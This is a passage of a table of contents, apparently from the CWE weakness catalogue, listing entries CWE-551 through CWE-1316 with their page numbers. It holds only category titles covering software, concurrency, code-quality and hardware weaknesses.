| CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization..... | 1156 |
| CWE-552: Files or Directories Accessible to External Parties..... | 1157 |
| CWE-553: Command Shell in Externally Accessible Directory..... | 1159 |
| CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework..... | 1160 |
| CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File..... | 1160 |
| CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation..... | 1161 |
| CWE-558: Use of getlogin() in Multithreaded Application..... | 1162 |
| CWE-560: Use of umask() with chmod-style Argument..... | 1164 |
| CWE-561: Dead Code..... | 1165 |
| CWE-562: Return of Stack Variable Address..... | 1168 |

| | |
|--|------|
| CWE-563: Assignment to Variable without Use..... | 1170 |
| CWE-564: SQL Injection: Hibernate..... | 1171 |
| CWE-565: Reliance on Cookies without Validation and Integrity Checking..... | 1173 |
| CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key..... | 1175 |
| CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context..... | 1176 |
| CWE-568: finalize() Method Without super.finalize()..... | 1179 |
| CWE-570: Expression is Always False..... | 1180 |
| CWE-571: Expression is Always True..... | 1183 |
| CWE-572: Call to Thread run() instead of start()..... | 1184 |
| CWE-573: Improper Following of Specification by Caller..... | 1186 |
| CWE-574: EJB Bad Practices: Use of Synchronization Primitives..... | 1187 |
| CWE-575: EJB Bad Practices: Use of AWT Swing..... | 1189 |
| CWE-576: EJB Bad Practices: Use of Java I/O..... | 1191 |
| CWE-577: EJB Bad Practices: Use of Sockets..... | 1193 |
| CWE-578: EJB Bad Practices: Use of Class Loader..... | 1195 |
| CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session..... | 1197 |
| CWE-580: clone() Method Without super.clone()..... | 1198 |
| CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined..... | 1200 |
| CWE-582: Array Declared Public, Final, and Static..... | 1201 |
| CWE-583: finalize() Method Declared Public..... | 1202 |
| CWE-584: Return Inside Finally Block..... | 1204 |
| CWE-585: Empty Synchronized Block..... | 1205 |
| CWE-586: Explicit Call to Finalize()..... | 1207 |
| CWE-587: Assignment of a Fixed Address to a Pointer..... | 1208 |
| CWE-588: Attempt to Access Child of a Non-structure Pointer..... | 1210 |
| CWE-589: Call to Non-ubiquitous API..... | 1211 |
| CWE-590: Free of Memory not on the Heap..... | 1212 |
| CWE-591: Sensitive Data Storage in Improperly Locked Memory..... | 1215 |
| CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created..... | 1216 |
| CWE-594: J2EE Framework: Saving Unserializable Objects to Disk..... | 1218 |
| CWE-595: Comparison of Object References Instead of Object Contents..... | 1219 |
| CWE-597: Use of Wrong Operator in String Comparison..... | 1222 |
| CWE-598: Use of GET Request Method With Sensitive Query Strings..... | 1225 |
| CWE-599: Missing Validation of OpenSSL Certificate..... | 1226 |
| CWE-600: Uncaught Exception in Servlet | 1228 |
| CWE-601: URL Redirection to Untrusted Site ('Open Redirect')..... | 1230 |
| CWE-602: Client-Side Enforcement of Server-Side Security..... | 1235 |
| CWE-603: Use of Client-Side Authentication..... | 1239 |
| CWE-605: Multiple Binds to the Same Port..... | 1240 |
| CWE-606: Unchecked Input for Loop Condition..... | 1241 |
| CWE-607: Public Static Final Field References Mutable Object..... | 1243 |
| CWE-608: Struts: Non-private Field in ActionForm Class..... | 1244 |
| CWE-609: Double-Checked Locking..... | 1246 |
| CWE-610: Externally Controlled Reference to a Resource in Another Sphere..... | 1248 |
| CWE-611: Improper Restriction of XML External Entity Reference..... | 1249 |
| CWE-612: Improper Authorization of Index Containing Sensitive Information..... | 1252 |
| CWE-613: Insufficient Session Expiration..... | 1253 |
| CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute..... | 1255 |
| CWE-615: Inclusion of Sensitive Information in Source Code Comments..... | 1256 |
| CWE-616: Incomplete Identification of Uploaded File Variables (PHP)..... | 1258 |
| CWE-617: Reachable Assertion..... | 1259 |
| CWE-618: Exposed Unsafe ActiveX Method..... | 1262 |
| CWE-619: Dangling Database Cursor ('Cursor Injection')..... | 1263 |
| CWE-620: Unverified Password Change..... | 1264 |
| CWE-621: Variable Extraction Error..... | 1266 |
| CWE-622: Improper Validation of Function Hook Arguments..... | 1268 |
| CWE-623: Unsafe ActiveX Control Marked Safe For Scripting..... | 1269 |
| CWE-624: Executable Regular Expression Error..... | 1271 |
| CWE-625: Permissive Regular Expression..... | 1272 |
| CWE-626: Null Byte Interaction Error (Poison Null Byte)..... | 1275 |
| CWE-627: Dynamic Variable Evaluation..... | 1276 |

| | |
|---|------|
| CWE-628: Function Call with Incorrectly Specified Arguments..... | 1278 |
| CWE-636: Not Failing Securely ('Failing Open')..... | 1281 |
| CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')..... | 1283 |
| CWE-638: Not Using Complete Mediation..... | 1284 |
| CWE-639: Authorization Bypass Through User-Controlled Key..... | 1286 |
| CWE-640: Weak Password Recovery Mechanism for Forgotten Password..... | 1288 |
| CWE-641: Improper Restriction of Names for Files and Other Resources..... | 1291 |
| CWE-642: External Control of Critical State Data..... | 1293 |
| CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')..... | 1298 |
| CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax..... | 1300 |
| CWE-645: Overly Restrictive Account Lockout Mechanism..... | 1302 |
| CWE-646: Reliance on File Name or Extension of Externally-Supplied File..... | 1304 |
| CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions..... | 1305 |
| CWE-648: Incorrect Use of Privileged APIs..... | 1307 |
| CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking.... | 1308 |
| CWE-650: Trusting HTTP Permission Methods on the Server Side..... | 1310 |
| CWE-651: Exposure of WSDL File Containing Sensitive Information..... | 1312 |
| CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')..... | 1313 |
| CWE-653: Improper Isolation or Compartmentalization..... | 1315 |
| CWE-654: Reliance on a Single Factor in a Security Decision..... | 1317 |
| CWE-655: Insufficient Psychological Acceptability..... | 1319 |
| CWE-656: Reliance on Security Through Obscurity..... | 1321 |
| CWE-657: Violation of Secure Design Principles..... | 1323 |
| CWE-662: Improper Synchronization..... | 1324 |
| CWE-663: Use of a Non-reentrant Function in a Concurrent Context..... | 1327 |
| CWE-664: Improper Control of a Resource Through its Lifetime..... | 1328 |
| CWE-665: Improper Initialization..... | 1330 |
| CWE-666: Operation on Resource in Wrong Phase of Lifetime..... | 1335 |
| CWE-667: Improper Locking..... | 1337 |
| CWE-668: Exposure of Resource to Wrong Sphere..... | 1342 |
| CWE-669: Incorrect Resource Transfer Between Spheres..... | 1344 |
| CWE-670: Always-Incorrect Control Flow Implementation..... | 1345 |
| CWE-671: Lack of Administrator Control over Security..... | 1347 |
| CWE-672: Operation on a Resource after Expiration or Release..... | 1347 |
| CWE-673: External Influence of Sphere Definition..... | 1351 |
| CWE-674: Uncontrolled Recursion..... | 1352 |
| CWE-675: Multiple Operations on Resource in Single-Operation Context..... | 1355 |
| CWE-676: Use of Potentially Dangerous Function..... | 1356 |
| CWE-680: Integer Overflow to Buffer Overflow..... | 1360 |
| CWE-681: Incorrect Conversion between Numeric Types..... | 1361 |
| CWE-682: Incorrect Calculation..... | 1365 |
| CWE-683: Function Call With Incorrect Order of Arguments..... | 1370 |
| CWE-684: Incorrect Provision of Specified Functionality..... | 1371 |
| CWE-685: Function Call With Incorrect Number of Arguments..... | 1372 |
| CWE-686: Function Call With Incorrect Argument Type..... | 1373 |
| CWE-687: Function Call With Incorrectly Specified Argument Value..... | 1375 |
| CWE-688: Function Call With Incorrect Variable or Reference as Argument..... | 1376 |
| CWE-689: Permission Race Condition During Resource Copy..... | 1377 |
| CWE-690: Unchecked Return Value to NULL Pointer Dereference..... | 1379 |
| CWE-691: Insufficient Control Flow Management..... | 1381 |
| CWE-692: Incomplete Denylist to Cross-Site Scripting..... | 1382 |
| CWE-693: Protection Mechanism Failure..... | 1384 |
| CWE-694: Use of Multiple Resources with Duplicate Identifier..... | 1386 |
| CWE-695: Use of Low-Level Functionality..... | 1387 |
| CWE-696: Incorrect Behavior Order..... | 1388 |
| CWE-697: Incorrect Comparison..... | 1389 |
| CWE-698: Execution After Redirect (EAR)..... | 1393 |
| CWE-703: Improper Check or Handling of Exceptional Conditions..... | 1394 |
| CWE-704: Incorrect Type Conversion or Cast..... | 1397 |
| CWE-705: Incorrect Control Flow Scoping..... | 1399 |
| CWE-706: Use of Incorrectly-Resolved Name or Reference..... | 1400 |

| | |
|--|------|
| CWE-707: Improper Neutralization..... | 1402 |
| CWE-708: Incorrect Ownership Assignment..... | 1403 |
| CWE-710: Improper Adherence to Coding Standards..... | 1405 |
| CWE-732: Incorrect Permission Assignment for Critical Resource..... | 1407 |
| CWE-733: Compiler Optimization Removal or Modification of Security-critical Code..... | 1415 |
| CWE-749: Exposed Dangerous Method or Function..... | 1417 |
| CWE-754: Improper Check for Unusual or Exceptional Conditions..... | 1421 |
| CWE-755: Improper Handling of Exceptional Conditions..... | 1429 |
| CWE-756: Missing Custom Error Page..... | 1430 |
| CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')..... | 1432 |
| CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior..... | 1433 |
| CWE-759: Use of a One-Way Hash without a Salt..... | 1435 |
| CWE-760: Use of a One-Way Hash with a Predictable Salt..... | 1440 |
| CWE-761: Free of Pointer not at Start of Buffer..... | 1442 |
| CWE-762: Mismatched Memory Management Routines..... | 1446 |
| CWE-763: Release of Invalid Pointer or Reference..... | 1449 |
| CWE-764: Multiple Locks of a Critical Resource..... | 1454 |
| CWE-765: Multiple Unlocks of a Critical Resource..... | 1455 |
| CWE-766: Critical Data Element Declared Public..... | 1456 |
| CWE-767: Access to Critical Private Variable via Public Method..... | 1459 |
| CWE-768: Incorrect Short Circuit Evaluation..... | 1461 |
| CWE-770: Allocation of Resources Without Limits or Throttling..... | 1463 |
| CWE-771: Missing Reference to Active Allocated Resource..... | 1471 |
| CWE-772: Missing Release of Resource after Effective Lifetime..... | 1473 |
| CWE-773: Missing Reference to Active File Descriptor or Handle..... | 1478 |
| CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling..... | 1479 |
| CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime..... | 1480 |
| CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')..... | 1482 |
| CWE-777: Regular Expression without Anchors..... | 1484 |
| CWE-778: Insufficient Logging..... | 1486 |
| CWE-779: Logging of Excessive Data..... | 1488 |
| CWE-780: Use of RSA Algorithm without OAEP..... | 1489 |
| CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code..... | 1491 |
| CWE-782: Exposed IOCTL with Insufficient Access Control..... | 1493 |
| CWE-783: Operator Precedence Logic Error..... | 1495 |
| CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision..... | 1498 |
| CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer..... | 1501 |
| CWE-786: Access of Memory Location Before Start of Buffer..... | 1503 |
| CWE-787: Out-of-bounds Write..... | 1505 |
| CWE-788: Access of Memory Location After End of Buffer..... | 1513 |
| CWE-789: Memory Allocation with Excessive Size Value..... | 1517 |
| CWE-790: Improper Filtering of Special Elements..... | 1521 |
| CWE-791: Incomplete Filtering of Special Elements..... | 1522 |
| CWE-792: Incomplete Filtering of One or More Instances of Special Elements..... | 1523 |
| CWE-793: Only Filtering One Instance of a Special Element..... | 1525 |
| CWE-794: Incomplete Filtering of Multiple Instances of Special Elements..... | 1526 |
| CWE-795: Only Filtering Special Elements at a Specified Location..... | 1527 |
| CWE-796: Only Filtering Special Elements Relative to a Marker..... | 1529 |
| CWE-797: Only Filtering Special Elements at an Absolute Position..... | 1530 |
| CWE-798: Use of Hard-coded Credentials..... | 1532 |
| CWE-799: Improper Control of Interaction Frequency..... | 1539 |
| CWE-804: Guessable CAPTCHA..... | 1541 |
| CWE-805: Buffer Access with Incorrect Length Value..... | 1542 |
| CWE-806: Buffer Access Using Size of Source Buffer..... | 1549 |
| CWE-807: Reliance on Untrusted Inputs in a Security Decision..... | 1553 |
| CWE-820: Missing Synchronization..... | 1558 |
| CWE-821: Incorrect Synchronization..... | 1560 |
| CWE-822: Untrusted Pointer Dereference..... | 1561 |
| CWE-823: Use of Out-of-range Pointer Offset..... | 1564 |
| CWE-824: Access of Uninitialized Pointer..... | 1567 |
| CWE-825: Expired Pointer Dereference..... | 1569 |

| | |
|---|------|
| CWE-826: Premature Release of Resource During Expected Lifetime..... | 1572 |
| CWE-827: Improper Control of Document Type Definition..... | 1574 |
| CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe..... | 1575 |
| CWE-829: Inclusion of Functionality from Untrusted Control Sphere..... | 1579 |
| CWE-830: Inclusion of Web Functionality from an Untrusted Source..... | 1585 |
| CWE-831: Signal Handler Function Associated with Multiple Signals..... | 1586 |
| CWE-832: Unlock of a Resource that is not Locked..... | 1589 |
| CWE-833: Deadlock..... | 1590 |
| CWE-834: Excessive Iteration..... | 1592 |
| CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')..... | 1593 |
| CWE-836: Use of Password Hash Instead of Password for Authentication..... | 1597 |
| CWE-837: Improper Enforcement of a Single, Unique Action..... | 1598 |
| CWE-838: Inappropriate Encoding for Output Context..... | 1599 |
| CWE-839: Numeric Range Comparison Without Minimum Check..... | 1602 |
| CWE-841: Improper Enforcement of Behavioral Workflow..... | 1607 |
| CWE-842: Placement of User into Incorrect Group..... | 1610 |
| CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')..... | 1611 |
| CWE-862: Missing Authorization..... | 1615 |
| CWE-863: Incorrect Authorization..... | 1621 |
| CWE-908: Use of Uninitialized Resource..... | 1627 |
| CWE-909: Missing Initialization of Resource..... | 1631 |
| CWE-910: Use of Expired File Descriptor..... | 1634 |
| CWE-911: Improper Update of Reference Count..... | 1635 |
| CWE-912: Hidden Functionality..... | 1637 |
| CWE-913: Improper Control of Dynamically-Managed Code Resources..... | 1638 |
| CWE-914: Improper Control of Dynamically-Identified Variables..... | 1639 |
| CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes..... | 1641 |
| CWE-916: Use of Password Hash With Insufficient Computational Effort..... | 1645 |
| CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')..... | 1649 |
| CWE-918: Server-Side Request Forgery (SSRF)..... | 1650 |
| CWE-920: Improper Restriction of Power Consumption..... | 1652 |
| CWE-921: Storage of Sensitive Data in a Mechanism without Access Control..... | 1653 |
| CWE-922: Insecure Storage of Sensitive Information..... | 1654 |
| CWE-923: Improper Restriction of Communication Channel to Intended Endpoints..... | 1656 |
| CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel..... | 1657 |
| CWE-925: Improper Verification of Intent by Broadcast Receiver..... | 1658 |
| CWE-926: Improper Export of Android Application Components..... | 1660 |
| CWE-927: Use of Implicit Intent for Sensitive Communication..... | 1662 |
| CWE-939: Improper Authorization in Handler for Custom URL Scheme..... | 1666 |
| CWE-940: Improper Verification of Source of a Communication Channel..... | 1668 |
| CWE-941: Incorrectly Specified Destination in a Communication Channel..... | 1671 |
| CWE-942: Permissive Cross-domain Policy with Untrusted Domains..... | 1673 |
| CWE-943: Improper Neutralization of Special Elements in Data Query Logic..... | 1676 |
| CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag..... | 1677 |
| CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User..... | 1680 |
| CWE-1021: Improper Restriction of Rendered UI Layers or Frames..... | 1683 |
| CWE-1022: Use of Web Link to Untrusted Target with window.opener Access..... | 1685 |
| CWE-1023: Incomplete Comparison with Missing Factors..... | 1687 |
| CWE-1024: Comparison of Incompatible Types..... | 1689 |
| CWE-1025: Comparison Using Wrong Factors..... | 1690 |
| CWE-1037: Processor Optimization Removal or Modification of Security-critical Code..... | 1692 |
| CWE-1038: Insecure Automated Optimizations..... | 1693 |
| CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations..... | 1694 |
| CWE-1041: Use of Redundant Code..... | 1695 |
| CWE-1042: Static Member Data Element outside of a Singleton Class Element..... | 1696 |
| CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements..... | 1697 |
| CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range..... | 1698 |
| CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor..... | 1699 |
| CWE-1046: Creation of Immutable Text Using String Concatenation..... | 1701 |

| | |
|---|------|
| CWE-1047: Modules with Circular Dependencies..... | 1702 |
| CWE-1048: Invokable Control Element with Large Number of Outward Calls..... | 1703 |
| CWE-1049: Excessive Data Query Operations in a Large Data Table..... | 1704 |
| CWE-1050: Excessive Platform Resource Consumption within a Loop..... | 1705 |
| CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data..... | 1706 |
| CWE-1052: Excessive Use of Hard-Coded Literals in Initialization..... | 1707 |
| CWE-1053: Missing Documentation for Design..... | 1708 |
| CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer..... | 1709 |
| CWE-1055: Multiple Inheritance from Concrete Classes..... | 1710 |
| CWE-1056: Invokable Control Element with Variadic Parameters..... | 1711 |
| CWE-1057: Data Access Operations Outside of Expected Data Manager Component..... | 1712 |
| CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element..... | 1713 |
| CWE-1059: Incomplete Documentation..... | 1714 |
| CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses..... | 1715 |
| CWE-1061: Insufficient Encapsulation..... | 1716 |
| CWE-1062: Parent Class with References to Child Class..... | 1716 |
| CWE-1063: Creation of Class Instance within a Static Code Block..... | 1717 |
| CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters..... | 1718 |
| CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers..... | 1719 |
| CWE-1066: Missing Serialization Control Element..... | 1720 |
| CWE-1067: Excessive Execution of Sequential Searches of Data Resource..... | 1721 |
| CWE-1068: Inconsistency Between Implementation and Documented Design..... | 1722 |
| CWE-1069: Empty Exception Block..... | 1723 |
| CWE-1070: Serializable Data Element Containing non-Serializable Item Elements..... | 1724 |
| CWE-1071: Empty Code Block..... | 1725 |
| CWE-1072: Data Resource Access without Use of Connection Pooling..... | 1726 |
| CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses..... | 1727 |
| CWE-1074: Class with Excessively Deep Inheritance..... | 1728 |
| CWE-1075: Unconditional Control Flow Transfer outside of Switch Block..... | 1729 |
| CWE-1076: Insufficient Adherence to Expected Conventions..... | 1730 |
| CWE-1077: Floating Point Comparison with Incorrect Operator..... | 1731 |
| CWE-1078: Inappropriate Source Code Style or Formatting..... | 1732 |
| CWE-1079: Parent Class without Virtual Destructor Method..... | 1733 |
| CWE-1080: Source Code File with Excessive Number of Lines of Code..... | 1734 |
| CWE-1082: Class Instance Self Destruction Control Element..... | 1735 |
| CWE-1083: Data Access from Outside Expected Data Manager Component..... | 1736 |
| CWE-1084: Invokable Control Element with Excessive File or Data Access Operations..... | 1737 |
| CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code..... | 1738 |
| CWE-1086: Class with Excessive Number of Child Classes..... | 1739 |
| CWE-1087: Class with Virtual Method without a Virtual Destructor..... | 1740 |
| CWE-1088: Synchronous Access of Remote Resource without Timeout..... | 1741 |
| CWE-1089: Large Data Table with Excessive Number of Indices..... | 1742 |
| CWE-1090: Method Containing Access of a Member Element from Another Class..... | 1743 |
| CWE-1091: Use of Object without Invoking Destructor Method..... | 1744 |
| CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers..... | 1745 |
| CWE-1093: Excessively Complex Data Representation..... | 1746 |
| CWE-1094: Excessive Index Range Scan for a Data Resource..... | 1747 |
| CWE-1095: Loop Condition Value Update within the Loop..... | 1748 |
| CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization..... | 1749 |
| CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element..... | 1750 |
| CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element..... | 1751 |
| CWE-1099: Inconsistent Naming Conventions for Identifiers..... | 1752 |
| CWE-1100: Insufficient Isolation of System-Dependent Functions..... | 1753 |
| CWE-1101: Reliance on Runtime Component in Generated Code..... | 1754 |
| CWE-1102: Reliance on Machine-Dependent Data Representation..... | 1754 |
| CWE-1103: Use of Platform-Dependent Third Party Components..... | 1755 |
| CWE-1104: Use of Unmaintained Third Party Components..... | 1756 |
| CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality..... | 1757 |
| CWE-1106: Insufficient Use of Symbolic Constants..... | 1758 |

| | |
|---|------|
| CWE-1107: Insufficient Isolation of Symbolic Constant Definitions..... | 1759 |
| CWE-1108: Excessive Reliance on Global Variables..... | 1759 |
| CWE-1109: Use of Same Variable for Multiple Purposes..... | 1760 |
| CWE-1110: Incomplete Design Documentation..... | 1761 |
| CWE-1111: Incomplete I/O Documentation..... | 1762 |
| CWE-1112: Incomplete Documentation of Program Execution..... | 1762 |
| CWE-1113: Inappropriate Comment Style..... | 1763 |
| CWE-1114: Inappropriate Whitespace Style..... | 1764 |
| CWE-1115: Source Code Element without Standard Prologue..... | 1764 |
| CWE-1116: Inaccurate Comments..... | 1765 |
| CWE-1117: Callable with Insufficient Behavioral Summary..... | 1766 |
| CWE-1118: Insufficient Documentation of Error Handling Techniques..... | 1767 |
| CWE-1119: Excessive Use of Unconditional Branching..... | 1768 |
| CWE-1120: Excessive Code Complexity..... | 1768 |
| CWE-1121: Excessive McCabe Cyclomatic Complexity..... | 1769 |
| CWE-1122: Excessive Halstead Complexity..... | 1770 |
| CWE-1123: Excessive Use of Self-Modifying Code..... | 1771 |
| CWE-1124: Excessively Deep Nesting..... | 1772 |
| CWE-1125: Excessive Attack Surface..... | 1773 |
| CWE-1126: Declaration of Variable with Unnecessarily Wide Scope..... | 1773 |
| CWE-1127: Compilation with Insufficient Warnings or Errors..... | 1774 |
| CWE-1164: Irrelevant Code..... | 1775 |
| CWE-1173: Improper Use of Validation Framework..... | 1775 |
| CWE-1174: ASP.NET Misconfiguration: Improper Model Validation..... | 1777 |
| CWE-1176: Inefficient CPU Computation..... | 1778 |
| CWE-1177: Use of Prohibited Code..... | 1779 |
| CWE-1188: Insecure Default Initialization of Resource..... | 1779 |
| CWE-1189: Improper Isolation of Shared Resources on System-on-a-Chip (SoC)..... | 1780 |
| CWE-1190: DMA Device Enabled Too Early in Boot Phase..... | 1782 |
| CWE-1191: On-Chip Debug and Test Interface With Improper Access Control..... | 1784 |
| CWE-1192: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers..... | 1787 |
| CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control..... | 1788 |
| CWE-1204: Generation of Weak Initialization Vector (IV)..... | 1789 |
| CWE-1209: Failure to Disable Reserved Bits..... | 1792 |
| CWE-1220: Insufficient Granularity of Access Control..... | 1794 |
| CWE-1221: Incorrect Register Defaults or Module Parameters..... | 1796 |
| CWE-1222: Insufficient Granularity of Address Regions Protected by Register Locks..... | 1799 |
| CWE-1223: Race Condition for Write-Once Attributes..... | 1800 |
| CWE-1224: Improper Restriction of Write-Once Bit Fields..... | 1802 |
| CWE-1229: Creation of Emergent Resource..... | 1805 |
| CWE-1230: Exposure of Sensitive Information Through Metadata..... | 1806 |
| CWE-1231: Improper Prevention of Lock Bit Modification..... | 1806 |
| CWE-1232: Improper Lock Behavior After Power State Transition..... | 1808 |
| CWE-1233: Security-Sensitive Hardware Controls with Missing Lock Bit Protection..... | 1810 |
| CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks..... | 1812 |
| CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations..... | 1815 |
| CWE-1236: Improper Neutralization of Formula Elements in a CSV File..... | 1817 |
| CWE-1239: Improper Zeroization of Hardware Register..... | 1819 |
| CWE-1240: Use of a Cryptographic Primitive with a Risky Implementation..... | 1820 |
| CWE-1241: Use of Predictable Algorithm in Random Number Generator..... | 1826 |
| CWE-1242: Inclusion of Undocumented Features or Chicken Bits..... | 1827 |
| CWE-1243: Sensitive Non-Volatile Information Not Protected During Debug..... | 1829 |
| CWE-1244: Internal Asset Exposed to Unsafe Debug Access Level or State..... | 1831 |
| CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic..... | 1833 |
| CWE-1246: Improper Write Handling in Limited-write Non-Volatile Memories..... | 1835 |
| CWE-1247: Improper Protection Against Voltage and Clock Glitches..... | 1837 |
| CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications..... | 1841 |
| CWE-1249: Application-Level Admin Tool with Inconsistent View of Underlying Operating System..... | 1843 |
| CWE-1250: Improper Preservation of Consistency Between Independent Representations of Shared State..... | 1844 |
| CWE-1251: Mirrored Regions with Different Values..... | 1846 |

| | |
|---|------|
| CWE-1252: CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations..... | 1848 |
| CWE-1253: Incorrect Selection of Fuse Values..... | 1850 |
| CWE-1254: Incorrect Comparison Logic Granularity..... | 1852 |
| CWE-1255: Comparison Logic is Vulnerable to Power Side-Channel Attacks..... | 1854 |
| CWE-1256: Improper Restriction of Software Interfaces to Hardware Features..... | 1857 |
| CWE-1257: Improper Access Control Applied to Mirrored or Aliased Memory Regions..... | 1860 |
| CWE-1258: Exposure of Sensitive System Information Due to Uncleared Debug Information..... | 1863 |
| CWE-1259: Improper Restriction of Security Token Assignment..... | 1864 |
| CWE-1260: Improper Handling of Overlap Between Protected Memory Ranges..... | 1866 |
| CWE-1261: Improper Handling of Single Event Upsets..... | 1869 |
| CWE-1262: Improper Access Control for Register Interface..... | 1871 |
| CWE-1263: Improper Physical Access Control..... | 1874 |
| CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels..... | 1876 |
| CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls..... | 1878 |
| CWE-1266: Improper Scrubbing of Sensitive Data from Decommissioned Device..... | 1881 |
| CWE-1267: Policy Uses Obsolete Encoding..... | 1882 |
| CWE-1268: Policy Privileges are not Assigned Consistently Between Control and Data Agents..... | 1884 |
| CWE-1269: Product Released in Non-Release Configuration..... | 1886 |
| CWE-1270: Generation of Incorrect Security Tokens..... | 1889 |
| CWE-1271: Uninitialized Value on Reset for Registers Holding Security Settings..... | 1891 |
| CWE-1272: Sensitive Information Uncleared Before Debug/Power State Transition..... | 1892 |
| CWE-1273: Device Unlock Credential Sharing..... | 1894 |
| CWE-1274: Improper Access Control for Volatile Memory Containing Boot Code..... | 1896 |
| CWE-1275: Sensitive Cookie with Improper SameSite Attribute..... | 1899 |
| CWE-1276: Hardware Child Block Incorrectly Connected to Parent System..... | 1901 |
| CWE-1277: Firmware Not Updateable..... | 1903 |
| CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques..... | 1905 |
| CWE-1279: Cryptographic Operations are run Before Supporting Units are Ready..... | 1907 |
| CWE-1280: Access Control Check Implemented After Asset is Accessed..... | 1909 |
| CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior..... | 1911 |
| CWE-1282: Assumed-Immutable Data is Stored in Writable Memory..... | 1912 |
| CWE-1283: Mutable Attestation or Measurement Reporting Data..... | 1914 |
| CWE-1284: Improper Validation of Specified Quantity in Input..... | 1915 |
| CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input..... | 1917 |
| CWE-1286: Improper Validation of Syntactic Correctness of Input..... | 1921 |
| CWE-1287: Improper Validation of Specified Type of Input..... | 1922 |
| CWE-1288: Improper Validation of Consistency within Input..... | 1923 |
| CWE-1289: Improper Validation of Unsafe Equivalence in Input..... | 1925 |
| CWE-1290: Incorrect Decoding of Security Identifiers | 1926 |
| CWE-1291: Public Key Re-Use for Signing both Debug and Production Code..... | 1928 |
| CWE-1292: Incorrect Conversion of Security Identifiers..... | 1930 |
| CWE-1293: Missing Source Correlation of Multiple Independent Data..... | 1932 |
| CWE-1294: Insecure Security Identifier Mechanism..... | 1933 |
| CWE-1295: Debug Messages Revealing Unnecessary Information..... | 1935 |
| CWE-1296: Incorrect Chaining or Granularity of Debug Components..... | 1936 |
| CWE-1297: Unprotected Confidential Information on Device is Accessible by OSAT Vendors..... | 1939 |
| CWE-1298: Hardware Logic Contains Race Conditions..... | 1941 |
| CWE-1299: Missing Protection Mechanism for Alternate Hardware Interface..... | 1943 |
| CWE-1300: Improper Protection of Physical Side Channels..... | 1946 |
| CWE-1301: Insufficient or Incomplete Data Removal within Hardware Component..... | 1950 |
| CWE-1302: Missing Security Identifier..... | 1951 |
| CWE-1303: Non-Transparent Sharing of Microarchitectural Resources..... | 1953 |
| CWE-1304: Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation..... | 1955 |
| CWE-1310: Missing Ability to Patch ROM Code..... | 1958 |
| CWE-1311: Improper Translation of Security Attributes by Fabric Bridge..... | 1959 |
| CWE-1312: Missing Protection for Mirrored Regions in On-Chip Fabric Firewall..... | 1961 |
| CWE-1313: Hardware Allows Activation of Test or Debug Logic at Runtime..... | 1963 |
| CWE-1314: Missing Write Protection for Parametric Data Values..... | 1965 |
| CWE-1315: Improper Setting of Bus Controlling Capability in Fabric End-point..... | 1967 |

| | |
|--|------|
| CWE-1316: Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges..... | 1969 |
